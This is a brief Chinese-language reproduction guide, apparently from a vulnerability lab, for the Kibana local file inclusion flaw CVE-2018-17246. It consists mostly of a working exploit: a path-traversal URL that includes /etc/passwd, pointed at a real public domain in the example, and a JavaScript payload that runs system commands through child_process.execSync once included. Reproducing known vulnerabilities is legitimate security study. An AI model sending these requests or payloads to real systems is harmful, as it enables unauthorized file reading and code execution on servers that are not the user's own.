CVE-2018-17246 Kibana Local File Inclusion¶
一、漏洞简介¶
Kibana 为 Elassticsearch 设计的一款开源的视图工具。其5.6.13到6.4.3之间的版本存在一处文件包含漏洞,通过这个漏洞攻击者可以包含任意服务器上的文件。此时,如果攻击者可以上传一个文件到服务器任意位置,即可执行代码。
二、漏洞影响¶
Kibana 5.6.13到6.4.3
三、复现过程¶
直接访问如下URL,来包含文件/etc/passwd
:
http://www.baidu,com:5601/api/console/api_server?sense_version=%40%40SENSE_VERSION&apis=../../../../../../../../../../../etc/passwd
虽然在返回的数据包里只能查看到一个500的错误信息,但是我们通过执行docker-compose logs
即可发现,/etc/passwd
已经成功被包含:
所以,我们需要从其他途径往服务器上上传代码,再进行包含从而执行任意命令。比如,我们将如下代码上传到服务器的/tmp/vulhub.js
:
// docker-compose exec kibana bash && echo '...code...' > /tmp/vulhub.js
export default {asJson: function() {return require("child_process").execSync("id").toString()}}
成功包含并返回命令执行结果: